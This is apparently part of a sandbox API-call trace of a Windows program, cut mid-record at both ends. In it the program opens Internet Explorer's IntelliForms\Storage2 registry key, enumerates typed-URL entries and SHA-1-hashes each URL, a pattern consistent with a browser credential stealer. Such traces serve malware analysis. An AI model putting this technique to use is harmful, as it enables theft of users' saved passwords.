lstrlenW (lpString="A0") returned 2 [0096.896] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.896] lstrcpyW (in: lpString1=0x71cf460, lpString2="7756ABC126C3F3" | out: lpString1="7756ABC126C3F3") returned="7756ABC126C3F3" [0096.897] lstrcatW (in: lpString1="7756ABC126C3F3", lpString2="A0" | out: lpString1="7756ABC126C3F3A0") returned="7756ABC126C3F3A0" [0096.897] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.897] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4F") returned 2 [0096.897] lstrlenW (lpString="7756ABC126C3F3A0") returned 16 [0096.897] lstrlenW (lpString="4F") returned 2 [0096.897] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.897] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7756ABC126C3F3A0" | out: lpString1="7756ABC126C3F3A0") returned="7756ABC126C3F3A0" [0096.897] lstrcatW (in: lpString1="7756ABC126C3F3A0", lpString2="4F" | out: lpString1="7756ABC126C3F3A04F") returned="7756ABC126C3F3A04F" [0096.897] LocalFree (hMem=0x71cf460) returned 0x0 [0096.897] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.897] lstrlenW (lpString="7756ABC126C3F3A04F") returned 18 [0096.897] lstrlenW (lpString="22") returned 2 [0096.897] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.897] lstrcpyW (in: lpString1=0x7290b70, lpString2="7756ABC126C3F3A04F" | out: lpString1="7756ABC126C3F3A04F") returned="7756ABC126C3F3A04F" [0096.897] lstrcatW (in: lpString1="7756ABC126C3F3A04F", lpString2="22" | out: lpString1="7756ABC126C3F3A04F22") returned="7756ABC126C3F3A04F22" [0096.897] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.897] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0096.897] lstrlenW (lpString="7756ABC126C3F3A04F22") returned 20 [0096.897] lstrlenW (lpString="FE") returned 2 [0096.897] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.897] lstrcpyW (in: lpString1=0x72912f0, lpString2="7756ABC126C3F3A04F22" | out: lpString1="7756ABC126C3F3A04F22") returned="7756ABC126C3F3A04F22" [0096.897] lstrcatW (in: lpString1="7756ABC126C3F3A04F22", lpString2="FE" | out: lpString1="7756ABC126C3F3A04F22FE") returned="7756ABC126C3F3A04F22FE" [0096.897] LocalFree (hMem=0x7290b70) returned 0x0 [0096.897] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="62") returned 2 [0096.897] lstrlenW (lpString="7756ABC126C3F3A04F22FE") returned 22 [0096.897] lstrlenW (lpString="62") returned 2 [0096.897] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.897] lstrcpyW (in: lpString1=0x7290b70, lpString2="7756ABC126C3F3A04F22FE" | out: lpString1="7756ABC126C3F3A04F22FE") returned="7756ABC126C3F3A04F22FE" [0096.897] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE", lpString2="62" | out: lpString1="7756ABC126C3F3A04F22FE62") returned="7756ABC126C3F3A04F22FE62" [0096.897] LocalFree (hMem=0x72912f0) returned 0x0 [0096.897] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2C") returned 2 [0096.897] lstrlenW (lpString="7756ABC126C3F3A04F22FE62") returned 24 [0096.897] lstrlenW (lpString="2C") returned 2 [0096.897] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.897] lstrcpyW (in: lpString1=0x72912f0, lpString2="7756ABC126C3F3A04F22FE62" | out: lpString1="7756ABC126C3F3A04F22FE62") returned="7756ABC126C3F3A04F22FE62" [0096.898] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE62", lpString2="2C" | out: lpString1="7756ABC126C3F3A04F22FE622C") returned="7756ABC126C3F3A04F22FE622C" [0096.898] LocalFree (hMem=0x7290b70) returned 0x0 [0096.898] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0096.898] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C") returned 26 [0096.898] lstrlenW (lpString="7F") returned 2 [0096.898] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.898] lstrcpyW (in: lpString1=0x2815a80, lpString2="7756ABC126C3F3A04F22FE622C" | out: lpString1="7756ABC126C3F3A04F22FE622C") returned="7756ABC126C3F3A04F22FE622C" [0096.898] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C", lpString2="7F" | out: lpString1="7756ABC126C3F3A04F22FE622C7F") returned="7756ABC126C3F3A04F22FE622C7F" [0096.898] LocalFree (hMem=0x72912f0) returned 0x0 [0096.898] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="09") returned 2 [0096.898] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F") returned 28 [0096.898] lstrlenW (lpString="09") returned 2 [0096.898] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.898] lstrcpyW (in: lpString1=0x2815670, lpString2="7756ABC126C3F3A04F22FE622C7F" | out: lpString1="7756ABC126C3F3A04F22FE622C7F") returned="7756ABC126C3F3A04F22FE622C7F" [0096.898] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F", lpString2="09" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09") returned="7756ABC126C3F3A04F22FE622C7F09" [0096.898] LocalFree (hMem=0x2815a80) returned 0x0 [0096.898] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0096.898] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F09") returned 30 [0096.898] lstrlenW (lpString="F1") returned 2 [0096.898] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.898] lstrcpyW (in: lpString1=0x2815a80, lpString2="7756ABC126C3F3A04F22FE622C7F09" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09") returned="7756ABC126C3F3A04F22FE622C7F09" [0096.898] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F09", lpString2="F1" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1") returned="7756ABC126C3F3A04F22FE622C7F09F1" [0096.898] LocalFree (hMem=0x2815670) returned 0x0 [0096.898] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0096.898] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F09F1") returned 32 [0096.898] lstrlenW (lpString="DA") returned 2 [0096.898] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.898] lstrcpyW (in: lpString1=0x2815670, lpString2="7756ABC126C3F3A04F22FE622C7F09F1" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1") returned="7756ABC126C3F3A04F22FE622C7F09F1" [0096.898] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F09F1", lpString2="DA" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA") returned="7756ABC126C3F3A04F22FE622C7F09F1DA" [0096.898] LocalFree (hMem=0x2815a80) returned 0x0 [0096.898] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0096.898] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F09F1DA") returned 34 [0096.898] lstrlenW (lpString="33") returned 2 [0096.898] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.898] lstrcpyW (in: lpString1=0x28e7910, lpString2="7756ABC126C3F3A04F22FE622C7F09F1DA" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA") returned="7756ABC126C3F3A04F22FE622C7F09F1DA" [0096.898] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA", lpString2="33" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33") returned="7756ABC126C3F3A04F22FE622C7F09F1DA33" [0096.899] LocalFree (hMem=0x2815670) returned 0x0 [0096.899] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0096.899] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F09F1DA33") returned 36 [0096.899] lstrlenW (lpString="07") returned 2 [0096.899] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.899] lstrcpyW (in: lpString1=0x28e7670, lpString2="7756ABC126C3F3A04F22FE622C7F09F1DA33" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33") returned="7756ABC126C3F3A04F22FE622C7F09F1DA33" [0096.899] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33", lpString2="07" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA3307") returned="7756ABC126C3F3A04F22FE622C7F09F1DA3307" [0096.899] LocalFree (hMem=0x28e7910) returned 0x0 [0096.899] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0096.899] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F09F1DA3307") returned 38 [0096.899] lstrlenW (lpString="0F") returned 2 [0096.899] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.899] lstrcpyW (in: lpString1=0x28e7910, lpString2="7756ABC126C3F3A04F22FE622C7F09F1DA3307" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA3307") returned="7756ABC126C3F3A04F22FE622C7F09F1DA3307" [0096.899] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA3307", lpString2="0F" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33070F") returned="7756ABC126C3F3A04F22FE622C7F09F1DA33070F" [0096.899] LocalFree (hMem=0x28e7670) returned 0x0 [0096.899] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4E") returned 2 [0096.899] lstrlenW (lpString="7756ABC126C3F3A04F22FE622C7F09F1DA33070F") returned 40 [0096.899] lstrlenW (lpString="4E") returned 2 [0096.899] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.899] lstrcpyW (in: lpString1=0x28e7670, lpString2="7756ABC126C3F3A04F22FE622C7F09F1DA33070F" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33070F") returned="7756ABC126C3F3A04F22FE622C7F09F1DA33070F" [0096.899] lstrcatW (in: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33070F", lpString2="4E" | out: lpString1="7756ABC126C3F3A04F22FE622C7F09F1DA33070F4E") returned="7756ABC126C3F3A04F22FE622C7F09F1DA33070F4E" [0096.899] LocalFree (hMem=0x28e7910) returned 0x0 [0096.899] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.899] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.899] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.899] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.899] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.899] LocalFree (hMem=0x28e7670) returned 0x0 [0096.899] RegEnumValueW (in: hKey=0x368, dwIndex=0x15, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url29", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.899] StrStrIW (lpFirst="softonic.com", lpSrch="?") returned 0x0 [0096.899] StrStrIW (lpFirst="softonic.com", lpSrch="http://") returned 0x0 [0096.899] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.900] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.900] lstrlenW (lpString="softonic.com") returned 12 [0096.900] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1a, dwFlags=0x0) returned 1 [0096.900] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.900] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.900] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.900] RegEnumValueW (in: hKey=0x368, dwIndex=0x16, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url28", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.900] StrStrIW (lpFirst="kapanlagi.com", lpSrch="?") returned 0x0 [0096.900] StrStrIW (lpFirst="kapanlagi.com", lpSrch="http://") returned 0x0 [0096.900] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.901] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.901] lstrlenW (lpString="kapanlagi.com") returned 13 [0096.901] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.901] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.901] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0096.901] lstrlenW (lpString="") returned 0 [0096.901] lstrlenW (lpString="7D") returned 2 [0096.901] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.901] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.901] lstrcatW (in: lpString1="", lpString2="7D" | out: lpString1="7D") returned="7D" [0096.901] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0096.901] lstrlenW (lpString="7D") returned 2 [0096.901] lstrlenW (lpString="7A") returned 2 [0096.901] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.901] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7D" | out: lpString1="7D") returned="7D" [0096.901] lstrcatW (in: lpString1="7D", lpString2="7A" | out: lpString1="7D7A") returned="7D7A" [0096.901] LocalFree (hMem=0x7222e70) returned 0x0 [0096.901] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0096.901] lstrlenW (lpString="7D7A") returned 4 [0096.901] lstrlenW (lpString="66") returned 2 [0096.901] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.901] lstrcpyW (in: lpString1=0x28ca380, lpString2="7D7A" | out: lpString1="7D7A") returned="7D7A" [0096.901] lstrcatW (in: lpString1="7D7A", lpString2="66" | out: lpString1="7D7A66") returned="7D7A66" [0096.901] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.901] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CF") returned 2 [0096.901] lstrlenW (lpString="7D7A66") returned 6 [0096.901] lstrlenW (lpString="CF") returned 2 [0096.901] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.901] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7D7A66" | out: lpString1="7D7A66") returned="7D7A66" [0096.902] lstrcatW (in: lpString1="7D7A66", lpString2="CF" | out: lpString1="7D7A66CF") returned="7D7A66CF" [0096.902] LocalFree (hMem=0x28ca380) returned 0x0 [0096.902] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AF") returned 2 [0096.902] lstrlenW (lpString="7D7A66CF") returned 8 [0096.902] lstrlenW (lpString="AF") returned 2 [0096.902] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.902] lstrcpyW (in: lpString1=0x28ca380, lpString2="7D7A66CF" | out: lpString1="7D7A66CF") returned="7D7A66CF" [0096.902] lstrcatW (in: lpString1="7D7A66CF", lpString2="AF" | out: lpString1="7D7A66CFAF") returned="7D7A66CFAF" [0096.902] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.902] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0096.902] lstrlenW (lpString="7D7A66CFAF") returned 10 [0096.902] lstrlenW (lpString="3B") returned 2 [0096.902] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.902] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7D7A66CFAF" | out: lpString1="7D7A66CFAF") returned="7D7A66CFAF" [0096.902] lstrcatW (in: lpString1="7D7A66CFAF", lpString2="3B" | out: lpString1="7D7A66CFAF3B") returned="7D7A66CFAF3B" [0096.902] LocalFree (hMem=0x28ca380) returned 0x0 [0096.902] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0096.902] lstrlenW (lpString="7D7A66CFAF3B") returned 12 [0096.902] lstrlenW (lpString="75") returned 2 [0096.902] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.902] lstrcpyW (in: lpString1=0x71cf460, lpString2="7D7A66CFAF3B" | out: lpString1="7D7A66CFAF3B") returned="7D7A66CFAF3B" [0096.902] lstrcatW (in: lpString1="7D7A66CFAF3B", lpString2="75" | out: lpString1="7D7A66CFAF3B75") returned="7D7A66CFAF3B75" [0096.902] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.902] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0096.902] lstrlenW (lpString="7D7A66CFAF3B75") returned 14 [0096.902] lstrlenW (lpString="02") returned 2 [0096.902] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.902] lstrcpyW (in: lpString1=0x71cfb40, lpString2="7D7A66CFAF3B75" | out: lpString1="7D7A66CFAF3B75") returned="7D7A66CFAF3B75" [0096.902] lstrcatW (in: lpString1="7D7A66CFAF3B75", lpString2="02" | out: lpString1="7D7A66CFAF3B7502") returned="7D7A66CFAF3B7502" [0096.902] LocalFree (hMem=0x71cf460) returned 0x0 [0096.902] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0096.902] lstrlenW (lpString="7D7A66CFAF3B7502") returned 16 [0096.902] lstrlenW (lpString="3E") returned 2 [0096.902] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.902] lstrcpyW (in: lpString1=0x71cf460, lpString2="7D7A66CFAF3B7502" | out: lpString1="7D7A66CFAF3B7502") returned="7D7A66CFAF3B7502" [0096.902] lstrcatW (in: lpString1="7D7A66CFAF3B7502", lpString2="3E" | out: lpString1="7D7A66CFAF3B75023E") returned="7D7A66CFAF3B75023E" [0096.902] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.903] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0096.903] lstrlenW (lpString="7D7A66CFAF3B75023E") returned 18 [0096.903] lstrlenW (lpString="9F") returned 2 [0096.903] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.903] lstrcpyW (in: lpString1=0x72912f0, lpString2="7D7A66CFAF3B75023E" | out: lpString1="7D7A66CFAF3B75023E") returned="7D7A66CFAF3B75023E" [0096.903] lstrcatW (in: lpString1="7D7A66CFAF3B75023E", lpString2="9F" | out: lpString1="7D7A66CFAF3B75023E9F") returned="7D7A66CFAF3B75023E9F" [0096.903] LocalFree (hMem=0x71cf460) returned 0x0 [0096.903] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FB") returned 2 [0096.903] lstrlenW (lpString="7D7A66CFAF3B75023E9F") returned 20 [0096.903] lstrlenW (lpString="FB") returned 2 [0096.903] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.903] lstrcpyW (in: lpString1=0x7290b70, lpString2="7D7A66CFAF3B75023E9F" | out: lpString1="7D7A66CFAF3B75023E9F") returned="7D7A66CFAF3B75023E9F" [0096.903] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9F", lpString2="FB" | out: lpString1="7D7A66CFAF3B75023E9FFB") returned="7D7A66CFAF3B75023E9FFB" [0096.903] LocalFree (hMem=0x72912f0) returned 0x0 [0096.903] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0096.903] lstrlenW (lpString="7D7A66CFAF3B75023E9FFB") returned 22 [0096.903] lstrlenW (lpString="A2") returned 2 [0096.903] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.903] lstrcpyW (in: lpString1=0x72912f0, lpString2="7D7A66CFAF3B75023E9FFB" | out: lpString1="7D7A66CFAF3B75023E9FFB") returned="7D7A66CFAF3B75023E9FFB" [0096.903] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFB", lpString2="A2" | out: lpString1="7D7A66CFAF3B75023E9FFBA2") returned="7D7A66CFAF3B75023E9FFBA2" [0096.903] LocalFree (hMem=0x7290b70) returned 0x0 [0096.903] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A5") returned 2 [0096.903] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2") returned 24 [0096.903] lstrlenW (lpString="A5") returned 2 [0096.903] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.903] lstrcpyW (in: lpString1=0x7290b70, lpString2="7D7A66CFAF3B75023E9FFBA2" | out: lpString1="7D7A66CFAF3B75023E9FFBA2") returned="7D7A66CFAF3B75023E9FFBA2" [0096.903] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2", lpString2="A5" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5") returned="7D7A66CFAF3B75023E9FFBA2A5" [0096.903] LocalFree (hMem=0x72912f0) returned 0x0 [0096.903] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CC") returned 2 [0096.903] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5") returned 26 [0096.903] lstrlenW (lpString="CC") returned 2 [0096.903] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.903] lstrcpyW (in: lpString1=0x2815670, lpString2="7D7A66CFAF3B75023E9FFBA2A5" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5") returned="7D7A66CFAF3B75023E9FFBA2A5" [0096.903] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5", lpString2="CC" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CC") returned="7D7A66CFAF3B75023E9FFBA2A5CC" [0096.903] LocalFree (hMem=0x7290b70) returned 0x0 [0096.903] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C1") returned 2 [0096.903] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CC") returned 28 [0096.904] lstrlenW (lpString="C1") returned 2 [0096.904] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.904] lstrcpyW (in: lpString1=0x2815a80, lpString2="7D7A66CFAF3B75023E9FFBA2A5CC" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CC") returned="7D7A66CFAF3B75023E9FFBA2A5CC" [0096.904] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CC", lpString2="C1" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1" [0096.904] LocalFree (hMem=0x2815670) returned 0x0 [0096.904] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0096.904] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CCC1") returned 30 [0096.904] lstrlenW (lpString="48") returned 2 [0096.904] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.904] lstrcpyW (in: lpString1=0x2815670, lpString2="7D7A66CFAF3B75023E9FFBA2A5CCC1" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1" [0096.904] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1", lpString2="48" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC148") returned="7D7A66CFAF3B75023E9FFBA2A5CCC148" [0096.904] LocalFree (hMem=0x2815a80) returned 0x0 [0096.904] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0096.904] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CCC148") returned 32 [0096.904] lstrlenW (lpString="53") returned 2 [0096.904] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.904] lstrcpyW (in: lpString1=0x2815a80, lpString2="7D7A66CFAF3B75023E9FFBA2A5CCC148" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC148") returned="7D7A66CFAF3B75023E9FFBA2A5CCC148" [0096.904] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC148", lpString2="53" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC14853") returned="7D7A66CFAF3B75023E9FFBA2A5CCC14853" [0096.904] LocalFree (hMem=0x2815670) returned 0x0 [0096.904] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="99") returned 2 [0096.904] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CCC14853") returned 34 [0096.904] lstrlenW (lpString="99") returned 2 [0096.904] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.904] lstrcpyW (in: lpString1=0x28e7670, lpString2="7D7A66CFAF3B75023E9FFBA2A5CCC14853" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC14853") returned="7D7A66CFAF3B75023E9FFBA2A5CCC14853" [0096.904] lstrcatW (in: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC14853", lpString2="99" | out: lpString1="7D7A66CFAF3B75023E9FFBA2A5CCC1485399") returned="7D7A66CFAF3B75023E9FFBA2A5CCC1485399" [0096.904] LocalFree (hMem=0x2815a80) returned 0x0 [0096.904] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0096.904] lstrlenW (lpString="7D7A66CFAF3B75023E9FFBA2A5CCC1485399") returned 36 [0096.904] lstrlenW (lpString="B1") returned 2 [0096.904] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.904] 